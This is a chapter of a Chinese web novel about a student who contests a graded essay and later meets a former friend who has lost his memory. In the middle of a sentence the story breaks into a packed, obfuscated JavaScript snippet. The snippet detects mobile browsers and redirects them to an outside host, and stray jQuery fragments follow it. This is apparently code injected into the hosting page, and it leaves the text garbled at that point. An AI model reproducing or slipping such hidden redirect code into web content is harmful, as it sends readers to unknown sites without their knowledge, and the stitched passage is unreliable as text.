宋景初沉默地看着考题,斟酌了许久,最终还是重新动了笔,修修改改,却怎么都不满意。
他想,这几乎是是个无解的命题,又想看到花的艳丽,又无力承担起养育责任的人,本身就不配拥有最美丽的花朵,然而又不能完全责怪养花的人没有用心,只能称她一句有心无力。
思来想去,宋景初还是觉得maria不配养花,于是大笔一挥,将故事续写成maria又买了一盆花,仍旧养死了,于是从此以后再也不养了,彻底打消了这个念头。
最后只得了十五分。
宋景初不信邪,拿着答题卡去办公室问王音,办公室里王音不在,只有一个外教英语老师。
宋景初上前,将自己的困惑讲了出来,外教老师所有所思地点了点头,于是将标准答案放出来给他看。
他凑上前,盯着电脑屏幕,一个词一个词认真地看了过去。
答案写道:maria反思了一整夜,最终决定重新买了一盆花,她痛思己过,每天都认认真真地给花浇水,精心照料,终于在几个月后看到了最美丽的花朵,maria很开心,将花朵摘下,包成许多小花束,将花束分发给了邻居们,共同分享这份坚持的喜悦,maria很开心,邻居们也很开心,还回给了maria很多独特的礼物,这一次,maria终于收获了用心对待一件事带来的回报,同时也明白了一个道理:赠人玫瑰,手有余香。
宋景初看完之后,彻底沉默了。
说不上来哪里有问题,但又确实有问题。
只能说不愧是应试教育,答案永远是正面的,永远积极向上。
可是宋景初始终不认为maria会改过自新,一个人的习惯是难以改变的,不会因为简简单单地吃了一个小亏就有所改观。
伤痛具有保护机制,会随着时间推移而逐渐被淡忘,以至于自己不会那么痛苦,得以让陈年难愈的伤口逐渐长好,同时也会麻痹修改记忆的存在。
可如果就这样轻易地翻篇了,那先前受到的伤害又算什么,曾经那些不美好的过往又当如何?
“可是孩子,人总归是要向前看的。”女人推了推眼镜,温柔地握住了宋景初的手:“人往高处走,水往低处流,时间是治愈伤痛最好的良药,前提是不要反复去揭开伤口,一直回头看是没有用的,路在脚下,只有往前走才能看见以后。”
宋景初茫然,他还想再据理力争些什么,可是看见了女人温柔的模样,却又说不出争辩的话。
如果这样就可以翻篇了,那第一盆花朵的死亡究竟算什么呢?无人在意的角落里,她是否也会羡慕着新花朵的艳丽,羡慕着她的芬芳,明明自己也可以像她一样,却因为别人的失误而被毁掉了自己的一生,一定要靠她的离去让别人醒悟吗?一定要用自己的血与泪才能滋养别人的成长吗?为什么故事的最后一定要牺牲掉某个人,某件事,导致主角彻底醒悟有所改变之后才能让故事得到圆满的升华?
“我知道你在想什么,你就是太钻牛角尖了,这只是一盆花,第一盆花的死亡并非没有价值,它让maria成功醒悟,明白了什么叫责任,maria也在此之中得到了成长,这是一件很好的事,难道不是吗?”
宋景初沉默半晌,轻声开口道:“可第一盆花终究还是死掉了,又有谁会在意呢?”
老师没再开口,只是静静地握住了他的手。
片刻之后,她道:“我不知道你经历了什么,年纪轻轻思想就如此沉重,但我相信你是一个聪明的孩子,一定能想通这个道理,生活中有时候就是会有很多遗憾,然而这才恰恰是正常的,万事万物没有十全十美,有得必有失,有失必有得,你们中国人讲究得失是相平衡的,我认为很有道理,因为只有这样,这个世界才能维持他的稳定,难道不是吗?”
“可为什么一定要靠某人某事的牺牲来成全自己的成长和醒悟呢?”宋景初顽固道:“我不明白,为什么总是要这样,人天性都是顽劣的,骨子里的劣根性是很难改掉的,至少在我眼中看来,maria不会因为养死了一盆喜欢的花就痛改前非认认真真地去养下一盆,第一盆花能被她养死,归根结底就是因为她根本不够在意,不够喜欢,所以她就是不配再养第二盆。”
“好吧,有时候我必须承认你说的是对的,事实上我也不认为maria会痛改前非。”外教一摊手,无奈道:“可是中国的应试教育需要的是积极向上听话的人才,我在中国教学了十六年,思想早就已经被同化了,我很高兴你今天能将这个想法告诉我,但是这篇作文,我仍旧只会给你15分,很抱歉,但为了你的前途,我只能这样做。”
宋景初点了点头:“谢谢您认可我,分数对于我来说并不重要,我真正在意的只有您的想法是否会和我相同,打扰您了,再见。”
“再见孩子,祝你开心。”
出了办公室之后,宋景初就撕了答题卡,揉成一团扔进了门口的垃圾桶。
说不上来那一刻是什么心情。
宋景初只觉得自己闷得慌,心口像是压着一块重石,整个世界的气压都变得极低,像是在预示着风雨的来临。
晚上下课的时候,狂风骤雨倾泻而下,尽管司机一直替他打着伞,可回到家的时候他身上还是不可避免地被淋到了一点点,肩膀处有些湿。
宋景初烦躁地进了浴室,匆匆冲完澡之后,只裹了一条浴巾出来,刚走到卧室里的客厅处,就看见了一个熟悉的背影。
他揉了揉眼睛,怀疑自己是不是眼花看错了了,然而那人却忽然转身,一双目光直直与他撞了个满怀。
“明庭?”宋景初皱着眉,沉寂了许久的心久违地再次掀起了波澜。
“你认识我?”赵明庭见宋景初上身没穿衣服,瞬间羞红了脸,将头转到了一旁:“你,你先把衣服穿好。”
宋景初一点头,狐疑地看着赵明庭躲着自己的身影,慢条斯理地穿上了衣服。
“你为什么在我房间里?”宋景初套了一身黑色运动服,将雕塑般完美的身材勾勒到了极致,宽肩窄腰大长腿,发丝末端还微微挂着几滴水珠,看得赵明庭眼睛都要直了,却又不敢表现出来,只是端正了身子,强忍着笑意道:“我来找栀栀姐,她在忙,让我先来你房间找你聊天。”
“你什么时候进来的?”
“你洗澡的时候。”
“你知道我是谁吗?”
“栀栀姐的儿子。”
宋景初不想再听了,抓起赵明庭的双手,粗暴地将人压倒,整个人欺身而上将对方压在身下。
赵明庭被对方吓到不敢出声,只能怔怔地看着宋景初阴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561448|169378||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鸷的脸,一双眼睛里似乎隐忍着怒火,最终却全都变成了无尽的失望,化成一滴晶莹的泪水滴在了赵明庭的脸颊旁。
赵明庭不明所以,只是茫然地看着宋景初,不知为何,他忽然感觉心里很痛,像是曾经的记忆要呼之欲出,连同头都在阵阵发涨,他好想知道对方究竟是谁,为什么将他压在这里,又为什么会落泪,他和对方之间究竟发生过什么,他真的很想知道,可是脑海里始终一片空白,什么也回想不起来。
两人一时间就这样互相看着对方的双眼,一个满眼失望,一个满眼无助。
到了,宋景初双目通红,像是不愿再纠缠什么了,起身将人放开,指着门的方向道:“刚才是我失礼了,不要问原因,对你我都不好,请离开吧。”
赵明庭不明所以,但还是磕磕绊绊地起身离开了。
走的时候他回望了一眼,只见方才面色如同冰渣一般的男人,早已经坐在沙发上捂着脸痛哭出了声。
和赵幼栀简单地相谈了几句,取走东西之后,赵明庭就回到了家,一路上,他始终在想宋景初看着自己的那双眼睛,他不明白那双眸中为何会带着不可言说的哀痛,却又不知一切的一切该从何想起。
自从做完手术之后,他几乎丢失了绝大部分的记忆,对整个世界都极其茫然陌生,身旁的哲森变成了江夏,博士也变成了阿水医生,居住的地方不再是赵家的庭院,而是这座从未见过的陌生园子,每天都在努力回想着先前的记忆,却无论如何也没有任何思绪,他像记忆就像是被彻底从之前的躯壳里剥离了出来,一切的熟悉感都不复存在,留给他的只有白纸一般的世界。
万幸江夏和阿水是很可靠的人,无时不刻陪在他身边,开导他,帮助他。
阿水告诉他,之前他生了一场很严重的病,但是现在已经完全治好了,而代价就是会失去所有让他难过的记忆。
赵明庭若有所思:“所以我忘记的,都是不好的事,没必要再去追寻那些令我难过的记忆了,对吗?”
阿水笑着点头:“就是这样。”
“可是我心里总觉得,我忘记了一个非常重要的人。”赵明庭捂着抽痛的心脏,微微皱起了眉头:“直觉告诉我,我一定要记起他是谁,我一定要找到他。”
阿水隐约有种不好的预感,语重心长道:“既已经彻底痊愈,又何必再去追寻过往种种呢,不过是徒增烦恼,惹自己伤心,不如就此放下,重新开始。”
赵明庭思索着,有些认可,却又不太认可:“倘若那个人对我真的很重要呢?”
“倘若他会给你带来更大的伤害呢?”阿水语气瞬间就冷下来了:“你还要继续去寻找吗?”
“那就让他放马过来好了,我不相信世界上还会有谁能伤害到我。”赵明庭眉眼弯弯道:“不要这样啦,阿水,笑一下嘛,我可是很厉害的。”
阿水没接话,起身就离开了。
赵明庭不明所以地看着女人离开的背影,隐约察觉了些什么,却又难以窥探到真相,于是心里更堵得慌了,只能闷闷地叹了口气,坐在茶桌前无奈一笑。
和煦的微风,温暖的阳光。
真好啊。
似乎从前也有人在这样的日子里陪他闲聊。
可上一个像这样陪他坐在这里谈天说地的,究竟是谁呢。